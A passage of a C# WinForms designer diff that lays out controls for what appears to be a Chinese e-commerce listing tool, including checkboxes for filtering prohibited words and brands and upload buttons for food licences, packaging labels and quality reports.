((int)(((byte)(32))))); + this.chkFilterRemoveTitle.Location = new System.Drawing.Point(20, 46); + this.chkFilterRemoveTitle.Margin = new System.Windows.Forms.Padding(2); + this.chkFilterRemoveTitle.Name = "chkFilterRemoveTitle"; + this.chkFilterRemoveTitle.Size = new System.Drawing.Size(108, 21); + this.chkFilterRemoveTitle.TabIndex = 507; + this.chkFilterRemoveTitle.Text = "去除标题违规词"; + this.chkFilterRemoveTitle.UseVisualStyleBackColor = true; + // + // chkFilterTMChaoShi + // + this.chkFilterTMChaoShi.AutoSize = true; + this.chkFilterTMChaoShi.FlatAppearance.BorderSize = 0; + this.chkFilterTMChaoShi.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkFilterTMChaoShi.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkFilterTMChaoShi.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkFilterTMChaoShi.Location = new System.Drawing.Point(187, 73); + this.chkFilterTMChaoShi.Margin = new System.Windows.Forms.Padding(2); + this.chkFilterTMChaoShi.Name = "chkFilterTMChaoShi"; + this.chkFilterTMChaoShi.Size = new System.Drawing.Size(96, 21); + this.chkFilterTMChaoShi.TabIndex = 503; + this.chkFilterTMChaoShi.Text = "过滤天猫超市"; + this.chkFilterTMChaoShi.UseVisualStyleBackColor = true; + // + // chkViolateCheck + // + this.chkViolateCheck.AutoSize = true; + this.chkViolateCheck.FlatAppearance.BorderSize = 0; + this.chkViolateCheck.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkViolateCheck.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkViolateCheck.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkViolateCheck.Location = new System.Drawing.Point(43, 18); + this.chkViolateCheck.Margin = new System.Windows.Forms.Padding(2); + this.chkViolateCheck.Name = "chkViolateCheck"; + this.chkViolateCheck.Size = new System.Drawing.Size(84, 21); + this.chkViolateCheck.TabIndex = 440; + this.chkViolateCheck.Text = "云违规排查"; + this.chkViolateCheck.UseVisualStyleBackColor = true; + // + // chkFilterSku + // + this.chkFilterSku.AutoSize = true; + this.chkFilterSku.Checked = true; + this.chkFilterSku.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkFilterSku.FlatAppearance.BorderSize = 0; + this.chkFilterSku.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkFilterSku.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkFilterSku.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkFilterSku.Location = new System.Drawing.Point(24, 102); + this.chkFilterSku.Margin = new System.Windows.Forms.Padding(2); + this.chkFilterSku.Name = "chkFilterSku"; + this.chkFilterSku.Size = new System.Drawing.Size(104, 21); + this.chkFilterSku.TabIndex = 483; + this.chkFilterSku.Text = "过滤sku违规词"; + this.chkFilterSku.UseVisualStyleBackColor = true; + // + // chkFilterTitle + // + this.chkFilterTitle.AutoSize = true; + this.chkFilterTitle.Checked = true; + this.chkFilterTitle.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkFilterTitle.FlatAppearance.BorderSize = 0; + this.chkFilterTitle.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkFilterTitle.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkFilterTitle.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkFilterTitle.Location = new System.Drawing.Point(20, 74); + this.chkFilterTitle.Margin = new System.Windows.Forms.Padding(2); + this.chkFilterTitle.Name = "chkFilterTitle"; + this.chkFilterTitle.Size = new System.Drawing.Size(108, 21); + this.chkFilterTitle.TabIndex = 398; + this.chkFilterTitle.Text = "过滤标题违规词"; + this.chkFilterTitle.UseVisualStyleBackColor = true; + // + // chkFilterBrand + // + this.chkFilterBrand.AutoSize = true; + this.chkFilterBrand.Checked = true; + this.chkFilterBrand.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkFilterBrand.FlatAppearance.BorderSize = 0; + this.chkFilterBrand.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkFilterBrand.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkFilterBrand.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkFilterBrand.Location = new System.Drawing.Point(211, 18); + this.chkFilterBrand.Margin = new System.Windows.Forms.Padding(2); + this.chkFilterBrand.Name = "chkFilterBrand"; + this.chkFilterBrand.Size = new System.Drawing.Size(72, 21); + this.chkFilterBrand.TabIndex = 488; + this.chkFilterBrand.Text = "过滤品牌"; + this.chkFilterBrand.UseVisualStyleBackColor = true; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.btn删除食品许可证); + this.tabPage3.Controls.Add(this.btn删除包装标签图); + this.tabPage3.Controls.Add(this.btn删除质检报告); + this.tabPage3.Controls.Add(this.btn上传质检报告); + this.tabPage3.Controls.Add(this.btn上传包装标签图); + this.tabPage3.Controls.Add(this.btn上传食品许可证); + this.tabPage3.Controls.Add(this.pictureBox3); + this.tabPage3.Controls.Add(this.pictureBox2); + this.tabPage3.Controls.Add(this.pictureBox1); + this.tabPage3.Controls.Add(this.label22); + this.tabPage3.Controls.Add(this.label21); + this.tabPage3.Controls.Add(this.label20); + this.tabPage3.Controls.Add(this.chkUseGlobalQualifications); + this.tabPage3.Controls.Add(this.txt食品生产许可证编号); + this.tabPage3.Controls.Add(this.label19); + this.tabPage3.Controls.Add(this.txt生产企业名称); + this.tabPage3.Controls.Add(this.txtBrand); + this.tabPage3.Controls.Add(this.label17); + this.tabPage3.Controls.Add(this.label16); + this.tabPage3.Location = new System.Drawing.Point(4, 26); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(886, 150); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = "食品资质"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // btn删除食品许可证 + // + this.btn删除食品许可证.CanvasColor = System.Drawing.SystemColors.Control; + this.btn删除食品许可证.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btn删除食品许可证.DisabledBackColor = System.Drawing.Color.Empty; + this.btn删除食品许可证.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btn删除食品许可证.Location = new System.Drawing.Point(419, 89); + this.btn删除食品许可证.Name = "btn删除食品许可证"; + this.btn删除食品许可证.Size = new System.Drawing.Size(35, 22); + this.btn删除食品许可证.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除食品许可证.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn删除食品许可证.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn删除食品许可证.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btn删除食品许可证.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除食品许可证.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btn删除食品许可证.Style.GradientAngle = 90; + this.btn删除食品许可证.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除食品许可证.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除食品许可证.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除食品许可证.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除食品许可证.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btn删除食品许可证.TabIndex = 475; + this.btn删除食品许可证.Text = "删除"; + this.btn删除食品许可证.Visible = false; + // + // btn删除包装标签图 + // + this.btn删除包装标签图.CanvasColor = System.Drawing.SystemColors.Control; + this.btn删除包装标签图.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btn删除包装标签图.DisabledBackColor = System.Drawing.Color.Empty; + this.btn删除包装标签图.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btn删除包装标签图.Location = new System.Drawing.Point(561, 89); + this.btn删除包装标签图.Name = "btn删除包装标签图"; + this.btn删除包装标签图.Size = new System.Drawing.Size(35, 22); + this.btn删除包装标签图.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除包装标签图.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn删除包装标签图.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn删除包装标签图.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btn删除包装标签图.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除包装标签图.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btn删除包装标签图.Style.GradientAngle = 90; + this.btn删除包装标签图.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除包装标签图.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除包装标签图.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除包装标签图.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除包装标签图.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btn删除包装标签图.TabIndex = 471; + this.btn删除包装标签图.Text = "删除"; + this.btn删除包装标签图.Visible = false; + // + // btn删除质检报告 + // + this.btn删除质检报告.CanvasColor = System.Drawing.SystemColors.Control; + this.btn删除质检报告.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btn删除质检报告.DisabledBackColor = System.Drawing.Color.Empty; + this.btn删除质检报告.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btn删除质检报告.Location = new System.Drawing.Point(703, 89); + this.btn删除质检报告.Name = "btn删除质检报告"; + this.btn删除质检报告.Size = new System.Drawing.Size(35, 22); + this.btn删除质检报告.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除质检报告.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn删除质检报告.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn删除质检报告.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btn删除质检报告.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除质检报告.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btn删除质检报告.Style.GradientAngle = 90; + this.btn删除质检报告.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除质检报告.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btn删除质检报告.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除质检报告.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn删除质检报告.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btn删除质检报告.TabIndex = 467; + this.btn删除质检报告.Text = "删除"; + this.btn删除质检报告.Visible = false; + // + // btn上传质检报告 + // + this.btn上传质检报告.CanvasColor = System.Drawing.SystemColors.Control; + this.btn上传质检报告.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btn上传质检报告.DisabledBackColor = System.Drawing.Color.Empty; + this.btn上传质检报告.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btn上传质检报告.Location = new System.Drawing.Point(703, 32); + this.btn上传质检报告.Name = "btn上传质检报告"; + this.btn上传质检报告.Size = new System.Drawing.Size(35, 22); + this.btn上传质检报告.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传质检报告.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn上传质检报告.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn上传质检报告.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btn上传质检报告.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传质检报告.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btn上传质检报告.Style.GradientAngle = 90; + this.btn上传质检报告.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传质检报告.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传质检报告.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传质检报告.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传质检报告.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btn上传质检报告.TabIndex = 463; + this.btn上传质检报告.Text = "上传"; + this.btn上传质检报告.Click += new System.EventHandler(this.btn上传质检报告_Click); + // + // btn上传包装标签图 + // + this.btn上传包装标签图.CanvasColor = System.Drawing.SystemColors.Control; + this.btn上传包装标签图.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btn上传包装标签图.DisabledBackColor = System.Drawing.Color.Empty; + this.btn上传包装标签图.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btn上传包装标签图.Location = new System.Drawing.Point(561, 32); + this.btn上传包装标签图.Name = "btn上传包装标签图"; + this.btn上传包装标签图.Size = new System.Drawing.Size(35, 22); + this.btn上传包装标签图.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传包装标签图.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn上传包装标签图.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn上传包装标签图.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btn上传包装标签图.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传包装标签图.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btn上传包装标签图.Style.GradientAngle = 90; + this.btn上传包装标签图.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传包装标签图.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传包装标签图.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传包装标签图.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传包装标签图.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btn上传包装标签图.TabIndex = 459; + this.btn上传包装标签图.Text = "上传"; + this.btn上传包装标签图.Click += new System.EventHandler(this.btn上传包装标签图_Click); + // + // btn上传食品许可证 + // + this.btn上传食品许可证.CanvasColor = System.Drawing.SystemColors.Control; + this.btn上传食品许可证.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btn上传食品许可证.DisabledBackColor = System.Drawing.Color.Empty; + this.btn上传食品许可证.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btn上传食品许可证.Location = new System.Drawing.Point(419, 32); + this.btn上传食品许可证.Name = "btn上传食品许可证"; + this.btn上传食品许可证.Size = new System.Drawing.Size(35, 22); + this.btn上传食品许可证.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传食品许可证.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn上传食品许可证.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btn上传食品许可证.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btn上传食品许可证.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传食品许可证.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btn上传食品许可证.Style.GradientAngle = 90; + this.btn上传食品许可证.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传食品许可证.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btn上传食品许可证.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传食品许可证.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btn上传食品许可证.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btn上传食品许可证.TabIndex = 455; + this.btn上传食品许可证.Text = "上传"; + this.btn上传食品许可证.Click += new System.EventHandler(this.btn上传食品许可证_Click); + // + // pictureBox3 + // + this.pictureBox3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.pictureBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox3.Location = new System.Drawing.Point(622, 32); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(79, 79); + this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox3.TabIndex = 451; + this.pictureBox3.TabStop = false; + // + // pictureBox2 + // + this.pictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.pictureBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox2.Location = new System.Drawing.Point(480, 32); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new System.Drawing.Size(79, 79); + this.pictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox2.TabIndex = 450; + this.pictureBox2.TabStop = false; + // + // pictureBox1 + // + this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.pictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox1.Location = new System.Drawing.Point(338, 32); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(79, 79); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox1.TabIndex = 449; + this.pictureBox1.TabStop = false; + // + // label22 + // + this.label22.AutoSize = true; + this.label22.BackColor = System.Drawing.Color.Transparent; + this.label22.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label22.Location = new System.Drawing.Point(620, 12); + this.label22.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label22.Name = "label22"; + this.label22.Size = new System.Drawing.Size(68, 17); + this.label22.TabIndex = 448; + this.label22.Text = "质检报告:"; + // + // label21 + // + this.label21.AutoSize = true; + this.label21.BackColor = System.Drawing.Color.Transparent; + this.label21.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label21.Location = new System.Drawing.Point(478, 12); + this.label21.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label21.Name = "label21"; + this.label21.Size = new System.Drawing.Size(104, 17); + this.label21.TabIndex = 447; + this.label21.Text = "产品包装标签图:"; + // + // label20 + // + this.label20.AutoSize = true; + this.label20.BackColor = System.Drawing.Color.Transparent; + this.label20.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label20.Location = new System.Drawing.Point(336, 12); + this.label20.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label20.Name = "label20"; + this.label20.Size = new System.Drawing.Size(128, 17); + this.label20.TabIndex = 446; + this.label20.Text = "食品生产许可证图片:"; + // + // chkUseGlobalQualifications + // + this.chkUseGlobalQualifications.AutoSize = true; + this.chkUseGlobalQualifications.FlatAppearance.BorderSize = 0; + this.chkUseGlobalQualifications.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.chkUseGlobalQualifications.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.chkUseGlobalQualifications.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.chkUseGlobalQualifications.Location = new System.Drawing.Point(6, 2); + this.chkUseGlobalQualifications.Margin = new System.Windows.Forms.Padding(2); + this.chkUseGlobalQualifications.Name = "chkUseGlobalQualifications"; + this.chkUseGlobalQualifications.Size = new System.Drawing.Size(156, 21); + this.chkUseGlobalQualifications.TabIndex = 445; + this.chkUseGlobalQualifications.Text = "上传商品时使用以下资质"; + this.chkUseGlobalQualifications.UseVisualStyleBackColor = true; + // + // txt食品生产许可证编号 + // + this.txt食品生产许可证编号.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txt食品生产许可证编号.Location = new System.Drawing.Point(124, 88); + this.txt食品生产许可证编号.Margin = new System.Windows.Forms.Padding(2); + this.txt食品生产许可证编号.Name = "txt食品生产许可证编号"; + this.txt食品生产许可证编号.Size = new System.Drawing.Size(185, 23); + this.txt食品生产许可证编号.TabIndex = 444; + this.txt食品生产许可证编号.TextChanged += new System.EventHandler(this.txt食品生产许可证号_TextChanged); + // + // label19 + // + this.label19.AutoSize = true; + this.label19.BackColor = System.Drawing.Color.Transparent; + this.label19.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label19.Location = new System.Drawing.Point(3, 91); + this.label19.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label19.Name = "label19"; + this.label19.Size = new System.Drawing.Size(128, 17); + this.label19.TabIndex = 443; + this.label19.Text = "食品生产许可证编号:"; + // + // txt生产企业名称 + // + this.txt生产企业名称.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txt生产企业名称.Location = new System.Drawing.Point(124, 60); + this.txt生产企业名称.Margin = new System.Windows.Forms.Padding(2); + this.txt生产企业名称.Name = "txt生产企业名称"; + this.txt生产企业名称.Size = new System.Drawing.Size(185, 23); + this.txt生产企业名称.TabIndex = 441; + this.txt生产企业名称.TextChanged += new System.EventHandler(this.txt生产企业名称_TextChanged); + // + // txtBrand + // + this.txtBrand.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtBrand.Location = new System.Drawing.Point(124, 32); + this.txtBrand.Margin = new System.Windows.Forms.Padding(2); + this.txtBrand.Name = "txtBrand"; + this.txtBrand.Size = new System.Drawing.Size(185, 23); + this.txtBrand.TabIndex = 439; + this.txtBrand.TextChanged += new System.EventHandler(this.txtBrand_TextChanged); + // + // label17 + // + this.label17.AutoSize = true; + this.label17.BackColor = System.Drawing.Color.Transparent; + this.label17.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label17.Location = new System.Drawing.Point(39, 63); + this.label17.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(92, 17); + this.label17.TabIndex = 442; + this.label17.Text = "生产企业名称:"; + // + // label16 + // + this.label16.AutoSize = true; + this.label16.BackColor = System.Drawing.Color.Transparent; + this.label16.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label16.Location = new System.Drawing.Point(87, 35); + this.label16.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(44, 17); + this.label16.TabIndex = 440; + this.label16.Text = "品牌:"; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.checkBox1); + this.tabPage4.Controls.Add(this.panelEx2); + this.tabPage4.Controls.Add(this.panelEx1); + this.tabPage4.Controls.Add(this.checkBox2); + this.tabPage4.Controls.Add(this.chkCustomCategory); + this.tabPage4.Location = new System.Drawing.Point(4, 26); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Padding = new System.Windows.Forms.Padding(3); + this.tabPage4.Size = new System.Drawing.Size(886, 150); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = "图书上货"; + this.tabPage4.UseVisualStyleBackColor = true; + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.FlatAppearance.BorderSize = 0; + this.checkBox1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.checkBox1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.checkBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(32)))), ((int)(((byte)(32)))), ((int)(((byte)(32))))); + this.checkBox1.Location = new System.Drawing.Point(345, 24); + this.checkBox1.Margin = new System.Windows.Forms.Padding(2); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(84, 21); + this.checkBox1.TabIndex = 464; + this.checkBox1.Text = "出版社过滤"; + this.checkBox1.UseVisualStyleBackColor = true; + // + // panelEx2 + // + this.panelEx2.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx2.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx2.Font = new System.Drawing.Font("微软雅黑", 9F); + this.panelEx2.Location = new System.Drawing.Point(434, 25); + this.panelEx2.Name = "panelEx2"; + this.panelEx2.Size = new System.Drawing.Size(35, 20); + this.panelEx2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.panelEx2.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.panelEx2.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx2.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx2.Style.GradientAngle = 90; + this.panelEx2.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx2.StyleMouseOver.ForeColor.Color = 